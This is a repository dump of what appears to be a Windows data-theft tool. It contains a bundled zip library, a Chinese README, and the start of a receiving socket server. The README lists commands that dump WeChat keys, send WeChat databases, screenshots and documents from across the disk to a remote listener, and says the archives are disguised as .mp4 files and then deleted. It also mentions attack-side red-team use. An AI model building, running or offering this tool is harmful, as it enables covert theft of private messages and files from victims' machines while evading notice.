2574 |   else return ZR_ARGS;
2575 |   if (openres!=ZR_OK) return openres;
2576 | 
2577 |   // A zip "entry" consists of a local header (which includes the file name),
2578 |   // then the compressed data, and possibly an extended local header.
2579 | 
2580 |   // Initialize the local header
2581 |   TZipFileInfo zfi; zfi.nxt=NULL;
2582 |   strcpy(zfi.name,"");
2583 | #ifdef UNICODE
2584 |   WideCharToMultiByte(CP_UTF8,0,dstzn,-1,zfi.iname,MAX_PATH,0,0);
2585 | #else
2586 |   strcpy(zfi.iname,dstzn);
2587 | #endif
2588 |   zfi.nam=strlen(zfi.iname);
2589 |   if (needs_trailing_slash) {strcat(zfi.iname,"/"); zfi.nam++;}
2590 |   strcpy(zfi.zname,"");
2591 |   zfi.extra=NULL; zfi.ext=0;   // extra header to go after this compressed data, and its length
2592 |   zfi.cextra=NULL; zfi.cext=0; // extra header to go in the central end-of-zip directory, and its length
2593 |   zfi.comment=NULL; zfi.com=0; // comment, and its length
2594 |   zfi.mark = 1;
2595 |   zfi.dosflag = 0;
2596 |   zfi.att = (ush)BINARY;
2597 |   zfi.vem = (ush)0xB17; // 0xB00 is win32 os-code. 0x17 is 23 in decimal: zip 2.3
2598 |   zfi.ver = (ush)20;    // Needs PKUNZIP 2.0 to unzip it
2599 |   zfi.tim = timestamp;
2600 |   // Even though we write the header now, it will have to be rewritten, since we don't know compressed size or crc.
2601 |   zfi.crc = 0;            // to be updated later
2602 |   zfi.flg = 8;            // 8 means 'there is an extra header'. Assume for the moment that we need it.
2603 |   if (password!=0 && !isdir) zfi.flg=9;  // and 1 means 'password-encrypted'
2604 |   zfi.lflg = zfi.flg;     // to be updated later
2605 |   zfi.how = (ush)method;  // to be updated later
2606 |   zfi.siz = (ulg)(method==STORE && isize>=0 ? isize+passex : 0); // to be updated later
2607 |   zfi.len = (ulg)(isize);  // to be updated later
2608 |   zfi.dsk = 0;
2609 |   zfi.atx = attr;
2610 |   zfi.off = writ+ooffset;         // offset within file of the start of this local record
2611 |   // stuff the 'times' structure into zfi.extra
2612 | 
2613 |   // nb. apparently there's a problem with PocketPC CE(zip)->CE(unzip) fails. And removing the following block fixes it up.
2614 |   char xloc[EB_L_UT_SIZE]; zfi.extra=xloc;  zfi.ext=EB_L_UT_SIZE;
2615 |   char xcen[EB_C_UT_SIZE]; zfi.cextra=xcen; zfi.cext=EB_C_UT_SIZE;
2616 |   xloc[0]  = 'U';
2617 |   xloc[1]  = 'T';
2618 |   xloc[2]  = EB_UT_LEN(3);       // length of data part of e.f.
2619 |   xloc[3]  = 0;
2620 |   xloc[4]  = EB_UT_FL_MTIME | EB_UT_FL_ATIME | EB_UT_FL_CTIME;
2621 |   xloc[5]  = (char)(times.mtime);
2622 |   xloc[6]  = (char)(times.mtime >> 8);
2623 |   xloc[7]  = (char)(times.mtime >> 16);
2624 |   xloc[8]  = (char)(times.mtime >> 24);
2625 |   xloc[9]  = (char)(times.atime);
2626 |   xloc[10] = (char)(times.atime >> 8);
2627 |   xloc[11] = (char)(times.atime >> 16);
2628 |   xloc[12] = (char)(times.atime >> 24);
2629 |   xloc[13] = (char)(times.ctime);
2630 |   xloc[14] = (char)(times.ctime >> 8);
2631 |   xloc[15] = (char)(times.ctime >> 16);
2632 |   xloc[16] = (char)(times.ctime >> 24);
2633 |   memcpy(zfi.cextra,zfi.extra,EB_C_UT_SIZE);
2634 |   zfi.cextra[EB_LEN] = EB_UT_LEN(1);
2635 | 
2636 | 
2637 |   // (1) Start by writing the local header:
2638 |   int r = putlocal(&zfi,swrite,this);
2639 |   if (r!=ZE_OK) {iclose(); return ZR_WRITE;}
2640 |   writ += 4 + LOCHEAD + (unsigned int)zfi.nam + (unsigned int)zfi.ext;
2641 |   if (oerr!=ZR_OK) {iclose(); return oerr;}
2642 | 
2643 |   // (1.5) if necessary, write the encryption header
2644 |   keys[0]=305419896L;
2645 |   keys[1]=591751049L;
2646 |   keys[2]=878082192L;
2647 |   for (const char *cp=password; cp!=0 && *cp!=0; cp++) update_keys(keys,*cp);
2648 |   // generate some random bytes
2649 |   if (!has_seeded) srand(GetTickCount()^(unsigned long)GetDesktopWindow());
2650 |   char encbuf[12]; for (int i=0; i<12; i++) encbuf[i]=(char)((rand()>>7)&0xff);
2651 |   encbuf[11] = (char)((zfi.tim>>8)&0xff);
2652 |   for (int ei=0; ei<12; ei++) encbuf[ei]=zencode(keys,encbuf[ei]);
2653 |   if (password!=0 && !isdir) {swrite(this,encbuf,12); writ+=12;}
2654 | 
2655 |   //(2) Write deflated/stored file to zip file
2656 |   ZRESULT writeres=ZR_OK;
2657 |   encwriting = (password!=0 && !isdir);  // an object member variable to say whether we write to disk encrypted
2658 |   if (!isdir && method==DEFLATE) writeres=ideflate(&zfi);
2659 |   else if (!isdir && method==STORE) writeres=istore();
2660 |   else if (isdir) csize=0;
2661 |   encwriting = false;
2662 |   iclose();
2663 |   writ += csize;
2664 |   if (oerr!=ZR_OK) return oerr;
2665 |   if (writeres!=ZR_OK) return ZR_WRITE;
2666 | 
2667 |   // (3) Either rewrite the local header with correct information...
2668 |   bool first_header_has_size_right = (zfi.siz==csize+passex);
2669 |   zfi.crc = crc;
2670 |   zfi.siz = csize+passex;
2671 |   zfi.len = isize;
2672 |   if (ocanseek && (password==0 || isdir))
2673 |   { zfi.how = (ush)method;
2674 |     if ((zfi.flg & 1) == 0) zfi.flg &= ~8; // clear the extended local header flag
2675 |     zfi.lflg = zfi.flg;
2676 |     // rewrite the local header:
2677 |     if (!oseek(zfi.off-ooffset)) return ZR_SEEK;
2678 |     if ((r = putlocal(&zfi, swrite,this)) != ZE_OK) return ZR_WRITE;
2679 |     if (!oseek(writ)) return ZR_SEEK;
2680 |   }
2681 |   else
2682 |   { // (4) ... or put an updated header at the end
2683 |     if (zfi.how != (ush) method) return ZR_NOCHANGE;
2684 |     if (method==STORE && !first_header_has_size_right) return ZR_NOCHANGE;
2685 |     if ((r = putextended(&zfi, swrite,this)) != ZE_OK) return ZR_WRITE;
2686 |     writ += 16L;
2687 |     zfi.flg = zfi.lflg; // if flg modified by inflate, for the central index
2688 |   }
2689 |   if (oerr!=ZR_OK) return oerr;
2690 | 
2691 |   // Keep a copy of the zipfileinfo, for our end-of-zip directory
2692 |   char *cextra = new char[zfi.cext]; memcpy(cextra,zfi.cextra,zfi.cext); zfi.cextra=cextra;
2693 |   TZipFileInfo *pzfi = new TZipFileInfo; memcpy(pzfi,&zfi,sizeof(zfi));
2694 |   if (zfis==NULL) zfis=pzfi;
2695 |   else {TZipFileInfo *z=zfis; while (z->nxt!=NULL) z=z->nxt; z->nxt=pzfi;}
2696 |   return ZR_OK;
2697 | }
2698 | 
2699 | ZRESULT TZip::AddCentral()
2700 | { // write central directory
2701 |   int numentries = 0;
2702 |   ulg pos_at_start_of_central = writ;
2703 |   //ulg tot_unc_size=0, tot_compressed_size=0;
2704 |   bool okay=true;
2705 |   for (TZipFileInfo *zfi=zfis; zfi!=NULL; )
2706 |   { if (okay)
2707 |     { int res = putcentral(zfi, swrite,this);
2708 |       if (res!=ZE_OK) okay=false;
2709 |     }
2710 |     writ += 4 + CENHEAD + (unsigned int)zfi->nam + (unsigned int)zfi->cext + (unsigned int)zfi->com;
2711 |     //tot_unc_size += zfi->len;
2712 |     //tot_compressed_size += zfi->siz;
2713 |     numentries++;
2714 |     //
2715 |     TZipFileInfo *zfinext = zfi->nxt;
2716 |     if (zfi->cextra!=0) delete[] zfi->cextra;
2717 |     delete zfi;
2718 |     zfi = zfinext;
2719 |   }
2720 |   ulg center_size = writ - pos_at_start_of_central;
2721 |   if (okay)
2722 |   { int res = putend(numentries, center_size, pos_at_start_of_central+ooffset, 0, NULL, swrite,this);
2723 |     if (res!=ZE_OK) okay=false;
2724 |     writ += 4 + ENDHEAD + 0;
2725 |   }
2726 |   if (!okay) return ZR_WRITE;
2727 |   return ZR_OK;
2728 | }
2729 | 
2730 | 
2731 | 
2732 | 
2733 | 
2734 | ZRESULT lasterrorZ=ZR_OK;
2735 | 
2736 | unsigned int FormatZipMessageZ(ZRESULT code, char *buf,unsigned int len)
2737 | { if (code==ZR_RECENT) code=lasterrorZ;
2738 |   const char *msg="unknown zip result code";
2739 |   switch (code)
2740 |   { case ZR_OK: msg="Success"; break;
2741 |     case ZR_NODUPH: msg="Culdn't duplicate handle"; break;
2742 |     case ZR_NOFILE: msg="Couldn't create/open file"; break;
2743 |     case ZR_NOALLOC: msg="Failed to allocate memory"; break;
2744 |     case ZR_WRITE: msg="Error writing to file"; break;
2745 |     case ZR_NOTFOUND: msg="File not found in the zipfile"; break;
2746 |     case ZR_MORE: msg="Still more data to unzip"; break;
2747 |     case ZR_CORRUPT: msg="Zipfile is corrupt or not a zipfile"; break;
2748 |     case ZR_READ: msg="Error reading file"; break;
2749 |     case ZR_ARGS: msg="Caller: faulty arguments"; break;
2750 |     case ZR_PARTIALUNZ: msg="Caller: the file had already been partially unzipped"; break;
2751 |     case ZR_NOTMMAP: msg="Caller: can only get memory of a memory zipfile"; break;
2752 |     case ZR_MEMSIZE: msg="Caller: not enough space allocated for memory zipfile"; break;
2753 |     case ZR_FAILED: msg="Caller: there was a previous error"; break;
2754 |     case ZR_ENDED: msg="Caller: additions to the zip have already been ended"; break;
2755 |     case ZR_ZMODE: msg="Caller: mixing creation and opening of zip"; break;
2756 |     case ZR_NOTINITED: msg="Zip-bug: internal initialisation not completed"; break;
2757 |     case ZR_SEEK: msg="Zip-bug: trying to seek the unseekable"; break;
2758 |     case ZR_MISSIZE: msg="Zip-bug: the anticipated size turned out wrong"; break;
2759 |     case ZR_NOCHANGE: msg="Zip-bug: tried to change mind, but not allowed"; break;
2760 |     case ZR_FLATE: msg="Zip-bug: an internal error during flation"; break;
2761 |   }
2762 |   unsigned int mlen=(unsigned int)strlen(msg);
2763 |   if (buf==0 || len==0) return mlen;
2764 |   unsigned int n=mlen; if (n+1>len) n=len-1;
2765 |   strncpy(buf,msg,n); buf[n]=0;
2766 |   return mlen;
2767 | }
2768 | 
2769 | 
2770 | 
2771 | typedef struct
2772 | { DWORD flag;
2773 |   TZip *zip;
2774 | } TZipHandleData;
2775 | 
2776 | 
2777 | HZIP CreateZipInternal(void *z,unsigned int len,DWORD flags, const char *password)
2778 | { TZip *zip = new TZip(password);
2779 |   lasterrorZ = zip->Create(z,len,flags);
2780 |   if (lasterrorZ!=ZR_OK) {delete zip; return 0;}
2781 |   TZipHandleData *han = new TZipHandleData;
2782 |   han->flag=2; han->zip=zip; return (HZIP)han;
2783 | }
2784 | HZIP CreateZipHandle(HANDLE h, const char *password) {return CreateZipInternal(h,0,ZIP_HANDLE,password);}
2785 | HZIP CreateZip(const TCHAR *fn, const char *password) {return CreateZipInternal((void*)fn,0,ZIP_FILENAME,password);}
2786 | HZIP CreateZip(void *z,unsigned int len, const char *password) {return CreateZipInternal(z,len,ZIP_MEMORY,password);}
2787 | 
2788 | 
2789 | ZRESULT ZipAddInternal(HZIP hz,const TCHAR *dstzn, void *src,unsigned int len, DWORD flags)
2790 | { if (hz==0) {lasterrorZ=ZR_ARGS;return ZR_ARGS;}
2791 |   TZipHandleData *han = (TZipHandleData*)hz;
2792 |   if (han->flag!=2) {lasterrorZ=ZR_ZMODE;return ZR_ZMODE;}
2793 |   TZip *zip = han->zip;
2794 |   lasterrorZ = zip->Add(dstzn,src,len,flags);
2795 |   return lasterrorZ;
2796 | }
2797 | ZRESULT ZipAdd(HZIP hz,const TCHAR *dstzn, const TCHAR *fn) {return ZipAddInternal(hz,dstzn,(void*)fn,0,ZIP_FILENAME);}
2798 | ZRESULT ZipAdd(HZIP hz,const TCHAR *dstzn, void *src,unsigned int len) {return ZipAddInternal(hz,dstzn,src,len,ZIP_MEMORY);}
2799 | ZRESULT ZipAddHandle(HZIP hz,const TCHAR *dstzn, HANDLE h) {return ZipAddInternal(hz,dstzn,h,0,ZIP_HANDLE);}
2800 | ZRESULT ZipAddHandle(HZIP hz,const TCHAR *dstzn, HANDLE h, unsigned int len) {return ZipAddInternal(hz,dstzn,h,len,ZIP_HANDLE);}
2801 | ZRESULT ZipAddFolder(HZIP hz,const TCHAR *dstzn) {return ZipAddInternal(hz,dstzn,0,0,ZIP_FOLDER);}
2802 | 
2803 | 
2804 | 
2805 | ZRESULT ZipGetMemory(HZIP hz, void **buf, unsigned long *len)
2806 | { if (hz==0) {if (buf!=0) *buf=0; if (len!=0) *len=0; lasterrorZ=ZR_ARGS;return ZR_ARGS;}
2807 |   TZipHandleData *han = (TZipHandleData*)hz;
2808 |   if (han->flag!=2) {lasterrorZ=ZR_ZMODE;return ZR_ZMODE;}
2809 |   TZip *zip = han->zip;
2810 |   lasterrorZ = zip->GetMemory(buf,len);
2811 |   return lasterrorZ;
2812 | }
2813 | 
2814 | ZRESULT CloseZipZ(HZIP hz)
2815 | { if (hz==0) {lasterrorZ=ZR_ARGS;return ZR_ARGS;}
2816 |   TZipHandleData *han = (TZipHandleData*)hz;
2817 |   if (han->flag!=2) {lasterrorZ=ZR_ZMODE;return ZR_ZMODE;}
2818 |   TZip *zip = han->zip;
2819 |   lasterrorZ = zip->Close();
2820 |   delete zip;
2821 |   delete han;
2822 |   return lasterrorZ;
2823 | }
2824 | 
2825 | bool IsZipHandleZ(HZIP hz)
2826 | { if (hz==0) return false;
2827 |   TZipHandleData *han = (TZipHandleData*)hz;
2828 |   return (han->flag==2);
2829 | }
2830 | 
2831 | 


--------------------------------------------------------------------------------
/FileUpload/Client/zip.h:
--------------------------------------------------------------------------------
  1 | #ifndef _zip_H
  2 | #define _zip_H
  3 | 
  4 | 
  5 | // ZIP functions -- for creating zip files
  6 | // This file is a repackaged form of the Info-Zip source code available
  7 | // at www.info-zip.org. The original copyright notice may be found in
  8 | // zip.cpp. The repackaging was done by Lucian Wischik to simplify and
  9 | // extend its use in Windows/C++. Also to add encryption and unicode.
 10 | 
 11 | 
 12 | #ifndef _unzip_H
 13 | DECLARE_HANDLE(HZIP);
 14 | #endif
 15 | // An HZIP identifies a zip file that is being created
 16 | 
 17 | typedef DWORD ZRESULT;
 18 | // return codes from any of the zip functions. Listed later.
 19 | 
 20 | 
 21 | 
 22 | HZIP CreateZip(const TCHAR *fn, const char *password);
 23 | HZIP CreateZip(void *buf,unsigned int len, const char *password);
 24 | HZIP CreateZipHandle(HANDLE h, const char *password);
 25 | // CreateZip - call this to start the creation of a zip file.
 26 | // As the zip is being created, it will be stored somewhere:
 27 | // to a pipe:              CreateZipHandle(hpipe_write);
 28 | // in a file (by handle):  CreateZipHandle(hfile);
 29 | // in a file (by name):    CreateZip("c:\\test.zip");
 30 | // in memory:              CreateZip(buf, len);
 31 | // or in pagefile memory:  CreateZip(0, len);
 32 | // The final case stores it in memory backed by the system paging file,
 33 | // where the zip may not exceed len bytes. This is a bit friendlier than
 34 | // allocating memory with new[]: it won't lead to fragmentation, and the
 35 | // memory won't be touched unless needed. That means you can give very
 36 | // large estimates of the maximum-size without too much worry.
 37 | // As for the password, it lets you encrypt every file in the archive.
 38 | // (This api doesn't support per-file encryption.)
 39 | // Note: because pipes don't allow random access, the structure of a zipfile
 40 | // created into a pipe is slightly different from that created into a file
 41 | // or memory. In particular, the compressed-size of the item cannot be
 42 | // stored in the zipfile until after the item itself. (Also, for an item added
 43 | // itself via a pipe, the uncompressed-size might not either be known until
 44 | // after.) This is not normally a problem. But if you try to unzip via a pipe
 45 | // as well, then the unzipper will not know these things about the item until
 46 | // after it has been unzipped. Therefore: for unzippers which don't just write
 47 | // each item to disk or to a pipe, but instead pre-allocate memory space into
 48 | // which to unzip them, then either you have to create the zip not to a pipe,
 49 | // or you have to add items not from a pipe, or at least when adding items
 50 | // from a pipe you have to specify the length.
 51 | // Note: for windows-ce, you cannot close the handle until after CloseZip.
 52 | // but for real windows, the zip makes its own copy of your handle, so you
 53 | // can close yours anytime.
 54 | 
 55 | 
 56 | ZRESULT ZipAdd(HZIP hz,const TCHAR *dstzn, const TCHAR *fn);
 57 | ZRESULT ZipAdd(HZIP hz,const TCHAR *dstzn, void *src,unsigned int len);
 58 | ZRESULT ZipAddHandle(HZIP hz,const TCHAR *dstzn, HANDLE h);
 59 | ZRESULT ZipAddHandle(HZIP hz,const TCHAR *dstzn, HANDLE h, unsigned int len);
 60 | ZRESULT ZipAddFolder(HZIP hz,const TCHAR *dstzn);
 61 | // ZipAdd - call this for each file to be added to the zip.
 62 | // dstzn is the name that the file will be stored as in the zip file.
 63 | // The file to be added to the zip can come
 64 | // from a pipe:  ZipAddHandle(hz,"file.dat", hpipe_read);
 65 | // from a file:  ZipAddHandle(hz,"file.dat", hfile);
 66 | // from a filen: ZipAdd(hz,"file.dat", "c:\\docs\\origfile.dat");
 67 | // from memory:  ZipAdd(hz,"subdir\\file.dat", buf,len);
 68 | // (folder):     ZipAddFolder(hz,"subdir");
 69 | // Note: if adding an item from a pipe, and if also creating the zip file itself
 70 | // to a pipe, then you might wish to pass a non-zero length to the ZipAddHandle
 71 | // function. This will let the zipfile store the item's size ahead of the
 72 | // compressed item itself, which in turn makes it easier when unzipping the
 73 | // zipfile from a pipe.
 74 | 
 75 | ZRESULT ZipGetMemory(HZIP hz, void **buf, unsigned long *len);
 76 | // ZipGetMemory - If the zip was created in memory, via ZipCreate(0,len),
 77 | // then this function will return information about that memory block.
 78 | // buf will receive a pointer to its start, and len its length.
 79 | // Note: you can't add any more after calling this.
 80 | 
 81 | ZRESULT CloseZip(HZIP hz);
 82 | // CloseZip - the zip handle must be closed with this function.
 83 | 
 84 | unsigned int FormatZipMessage(ZRESULT code, TCHAR *buf,unsigned int len);
 85 | // FormatZipMessage - given an error code, formats it as a string.
 86 | // It returns the length of the error message. If buf/len points
 87 | // to a real buffer, then it also writes as much as possible into there.
 88 | 
 89 | 
 90 | 
 91 | // These are the result codes:
 92 | #define ZR_OK         0x00000000     // nb. the pseudo-code zr-recent is never returned,
 93 | #define ZR_RECENT     0x00000001     // but can be passed to FormatZipMessage.
 94 | // The following come from general system stuff (e.g. files not openable)
 95 | #define ZR_GENMASK    0x0000FF00
 96 | #define ZR_NODUPH     0x00000100     // couldn't duplicate the handle
 97 | #define ZR_NOFILE     0x00000200     // couldn't create/open the file
 98 | #define ZR_NOALLOC    0x00000300     // failed to allocate some resource
 99 | #define ZR_WRITE      0x00000400     // a general error writing to the file
100 | #define ZR_NOTFOUND   0x00000500     // couldn't find that file in the zip
101 | #define ZR_MORE       0x00000600     // there's still more data to be unzipped
102 | #define ZR_CORRUPT    0x00000700     // the zipfile is corrupt or not a zipfile
103 | #define ZR_READ       0x00000800     // a general error reading the file
104 | // The following come from mistakes on the part of the caller
105 | #define ZR_CALLERMASK 0x00FF0000
106 | #define ZR_ARGS       0x00010000     // general mistake with the arguments
107 | #define ZR_NOTMMAP    0x00020000     // tried to ZipGetMemory, but that only works on mmap zipfiles, which yours wasn't
108 | #define ZR_MEMSIZE    0x00030000     // the memory size is too small
109 | #define ZR_FAILED     0x00040000     // the thing was already failed when you called this function
110 | #define ZR_ENDED      0x00050000     // the zip creation has already been closed
111 | #define ZR_MISSIZE    0x00060000     // the indicated input file size turned out mistaken
112 | #define ZR_PARTIALUNZ 0x00070000     // the file had already been partially unzipped
113 | #define ZR_ZMODE      0x00080000     // tried to mix creating/opening a zip 
114 | // The following come from bugs within the zip library itself
115 | #define ZR_BUGMASK    0xFF000000
116 | #define ZR_NOTINITED  0x01000000     // initialisation didn't work
117 | #define ZR_SEEK       0x02000000     // trying to seek in an unseekable file
118 | #define ZR_NOCHANGE   0x04000000     // changed its mind on storage, but not allowed
119 | #define ZR_FLATE      0x05000000     // an internal error in the de/inflation code
120 | 
121 | 
122 | 
123 | 
124 | 
125 | 
126 | // e.g.
127 | //
128 | // (1) Traditional use, creating a zipfile from existing files
129 | //     HZIP hz = CreateZip("c:\\simple1.zip",0);
130 | //     ZipAdd(hz,"znsimple.bmp", "c:\\simple.bmp");
131 | //     ZipAdd(hz,"znsimple.txt", "c:\\simple.txt");
132 | //     CloseZip(hz);
133 | //
134 | // (2) Memory use, creating an auto-allocated mem-based zip file from various sources
135 | //     HZIP hz = CreateZip(0,100000, 0);
136 | //     // adding a conventional file...
137 | //     ZipAdd(hz,"src1.txt",  "c:\\src1.txt");
138 | //     // adding something from memory...
139 | //     char buf[1000]; for (int i=0; i<1000; i++) buf[i]=(char)(i&0x7F);
140 | //     ZipAdd(hz,"file.dat",  buf,1000);
141 | //     // adding something from a pipe...
142 | //     HANDLE hread,hwrite; CreatePipe(&hread,&hwrite,NULL,0);
143 | //     HANDLE hthread = CreateThread(0,0,ThreadFunc,(void*)hwrite,0,0);
144 | //     ZipAdd(hz,"unz3.dat",  hread,1000);  // the '1000' is optional.
145 | //     WaitForSingleObject(hthread,INFINITE);
146 | //     CloseHandle(hthread); CloseHandle(hread);
147 | //     ... meanwhile DWORD WINAPI ThreadFunc(void *dat)
148 | //                   { HANDLE hwrite = (HANDLE)dat;
149 | //                     char buf[1000]={17};
150 | //                     DWORD writ; WriteFile(hwrite,buf,1000,&writ,NULL);
151 | //                     CloseHandle(hwrite);
152 | //                     return 0;
153 | //                   }
154 | //     // and now that the zip is created, let's do something with it:
155 | //     void *zbuf; unsigned long zlen; ZipGetMemory(hz,&zbuf,&zlen);
156 | //     HANDLE hfz = CreateFile("test2.zip",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
157 | //     DWORD writ; WriteFile(hfz,zbuf,zlen,&writ,NULL);
158 | //     CloseHandle(hfz);
159 | //     CloseZip(hz);
160 | //
161 | // (3) Handle use, for file handles and pipes
162 | //     HANDLE hzread,hzwrite; CreatePipe(&hzread,&hzwrite,0,0);
163 | //     HANDLE hthread = CreateThread(0,0,ZipReceiverThread,(void*)hzread,0,0);
164 | //     HZIP hz = CreateZipHandle(hzwrite,0);
165 | //     // ... add to it
166 | //     CloseZip(hz);
167 | //     CloseHandle(hzwrite);
168 | //     WaitForSingleObject(hthread,INFINITE);
169 | //     CloseHandle(hthread);
170 | //     ... meanwhile DWORD WINAPI ZipReceiverThread(void *dat)
171 | //                   { HANDLE hread = (HANDLE)dat;
172 | //                     char buf[1000];
173 | //                     while (true)
174 | //                     { DWORD red; ReadFile(hread,buf,1000,&red,NULL);
175 | //                       // ... and do something with this zip data we're receiving
176 | //                       if (red==0) break;
177 | //                     }
178 | //                     CloseHandle(hread);
179 | //                     return 0;
180 | //                   }
181 | 
182 | 
183 | 
184 | // Now we indulge in a little skullduggery so that the code works whether
185 | // the user has included just zip or both zip and unzip.
186 | // Idea: if header files for both zip and unzip are present, then presumably
187 | // the cpp files for zip and unzip are both present, so we will call
188 | // one or the other of them based on a dynamic choice. If the header file
189 | // for only one is present, then we will bind to that particular one.
190 | ZRESULT CloseZipZ(HZIP hz);
191 | unsigned int FormatZipMessageZ(ZRESULT code, char *buf,unsigned int len);
192 | bool IsZipHandleZ(HZIP hz);
193 | #ifdef _unzip_H
194 | #undef CloseZip
195 | #define CloseZip(hz) (IsZipHandleZ(hz)?CloseZipZ(hz):CloseZipU(hz))
196 | #else
197 | #define CloseZip CloseZipZ
198 | #define FormatZipMessage FormatZipMessageZ
199 | #endif
200 | 
201 | 
202 | 
203 | #endif
204 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | ### Server
 2 | 
 3 | 
 4 | ```plain
 5 | Server.exe port # 默认8888端口
 6 | ```
 7 | 
 8 | ### Command
 9 | 
10 | ```plain
11 | [+] FileSearch.exe dumpkey # 获取微信密钥
12 | [+] FileSearch.exe send 127.0.0.1 8888 # 从默认路径回传微信数据库
13 | [+] FileSearch.exe send 127.0.0.1 8888 vxpath # 指定微信数据库路径
14 | [+] FileSearch.exe photo 127.0.0.1 8888 # 桌面截屏回传
15 | [+] FileSearch.exe search d:\ .docx # 查找指定类型文件
16 | [+] FileSearch.exe upload path 127.0.0.1 8888 # 上传文件
17 | [+] FileSearch.exe uploads path 127.0.0.1 8888 # 上传文件夹
18 | [+] FileSearch.exe all 127.0.0.1 8888  # 全盘获取指定类型文件
19 | [+] FileSearch.exe user 127.0.0.1 8888 # c:\users目录下查找类型文件
20 | ```
21 | 
22 | ### 更新说明
23 | 
24 | 1、all参数排除了c盘符查找指定类型文件，避免大量缓存文件造成卡顿，添加user参数在c:\users目录下查找
25 | 
26 | 可自行修改需要上传的文件类型（747行），默认为：
27 | 
28 | ```plain
29 | const char* filetype[] = { ".doc",".xls", ".pdf" ,".docx",".xlsx",".txt",".bat",".ppt",".pptx" };
30 | ```
31 | 
32 | 2、运行成功后会自动删除生成出来的文件夹以及压缩包，压缩包文件随机修改成了mp4后缀
33 | 
34 | 3、优化了查找文件匹配方式，支持模糊匹配或精确匹配
35 | 
36 | 4、新增uploads参数遍历指定文件夹压缩上传功能
37 | 
38 | 5、新增photo参数桌面截屏回传功能
39 | 
40 | ### 功能展示：
41 | 
42 | ![img](https://cdn.nlark.com/yuque/0/2022/png/32539762/1668769423893-416c9225-1319-4133-a468-3cb6cee900d4.png)
43 | 
44 | ![img](https://cdn.nlark.com/yuque/0/2022/png/32539762/1668770076653-85c5e09c-e9a8-436f-8ce5-8987cc079882.png)
45 | 
46 | ![img](https://cdn.nlark.com/yuque/0/2022/png/32539762/1668772513228-738d3cd4-5aef-49e5-9d31-6df8d9c6e8f9.png)
47 | 
48 | ## 已知问题：
49 | 
50 | 大文件（G级）传输回来后压缩包损坏无法正常打开，经过多次测试发现是c++ zip库压缩的问题，
51 | 
52 | 暂时使用以下两种办法解决：
53 | 
54 | 1、上传Rar.exe压缩后再使用upload_file方法进行回传
55 | 
56 | ```plain
57 | rar.exe a -k -r -s -m1 bak.rar "path"
58 | ```
59 | 
60 | 2、使用WinRAR内置修复功能或者使用[DiskInternals ZIP](https://www.diskinternals.com/zip-repair/)进行修复损坏文件
61 | 
62 | > 后续还会更新~
63 | 
64 | 如果发现缺陷请提交 issue，非常感谢！
65 | 
66 | #### 本人失业多年，已不参与大小HW活动的攻击方了，若溯源到id与本人无关
67 | 
68 | #### 免责声明
69 | 
70 |  本工具仅能在取得足够合法授权的企业安全建设中使用，在使用本工具过程中，您应确保自己所有行为符合当地的法律法规。 如您在使用本工具的过程中存在任何非法行为，您将自行承担所有后果，本工具所有开发者和所有贡献者不承担任何法律及连带责任。 除非您已充分阅读、完全理解并接受本协议所有条款，否则，请您不要安装并使用本工具。 您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的，即视为您已阅读并同意本协议的约束。
71 | 
72 | 


--------------------------------------------------------------------------------
/SocketServer/Server.sln:
--------------------------------------------------------------------------------
 1 | 
 2 | Microsoft Visual Studio Solution File, Format Version 12.00
 3 | # Visual Studio 15
 4 | VisualStudioVersion = 15.0.28307.1145
 5 | MinimumVisualStudioVersion = 10.0.40219.1
 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ShellcodeRun", "Server\ShellcodeRun.vcxproj", "{7F97B6A1-DA10-43B2-BB56-72C45538CF80}"
 7 | EndProject
 8 | Global
 9 | 	GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | 		Debug|x64 = Debug|x64
11 | 		Debug|x86 = Debug|x86
12 | 		Release|x64 = Release|x64
13 | 		Release|x86 = Release|x86
14 | 	EndGlobalSection
15 | 	GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | 		{7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Debug|x64.ActiveCfg = Debug|x64
17 | 		{7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Debug|x64.Build.0 = Debug|x64
18 | 		{7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Debug|x86.ActiveCfg = Debug|Win32
19 | 		{7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Debug|x86.Build.0 = Debug|Win32
20 | 		{7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Release|x64.ActiveCfg = Release|x64
21 | 		{7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Release|x64.Build.0 = Release|x64
22 | 		{7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Release|x86.ActiveCfg = Release|Win32
23 | 		{7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Release|x86.Build.0 = Release|Win32
24 | 	EndGlobalSection
25 | 	GlobalSection(SolutionProperties) = preSolution
26 | 		HideSolutionNode = FALSE
27 | 	EndGlobalSection
28 | 	GlobalSection(ExtensibilityGlobals) = postSolution
29 | 		SolutionGuid = {8FB3C18A-B7DC-49DD-8E90-3972202B014B}
30 | 	EndGlobalSection
31 | EndGlobal
32 | 


--------------------------------------------------------------------------------
/SocketServer/Server/Server.cpp:
--------------------------------------------------------------------------------
  1 | #define _CRT_SECURE_NO_WARNINGS
  2 | #define _WINSOCK_DEPRECATED_NO_WARNINGS
  3 | 
  4 | #include <winsock2.h>
  5 | #include <stdio.h>
  6 | #include <iostream>
  7 | #include <process.h>
  8 | 
  9 | #include <Windows.h>
 10 | 
 11 | using namespace std;
 12 | 
 13 | #pragma comment(lib,"ws2_32.lib")
 14 | 
 15 | 
 16 | #define MAX_DATA_BLOCK_SIZE 8192
 17 | 
 18 | void error_exit(const char * msg, int val) {
 19 | 	if (msg) { printf("%s\n\n", msg); }
 20 | 	printf("使用方法：ft_server [监听端口]\n");
 21 | 	printf("监听端口是可选参数，默认为8888\n\n");
 22 | 	exit(val);
 23 | 
 24 | }
 25 | void serve_client(void *s) {
 26 | 	printf("\n\n\n创建新线程成功！\n\n\n");
 27 | 	char file_name[MAX_PATH];
 28 | 	unsigned char pass[MAX_PATH] = { 0 };
 29 | 	char data[MAX_DATA_BLOCK_SIZE];
 30 | 	int i;
 31 | 	char c;
 32 | 	FILE *fp;
 33 | 
 34 | 
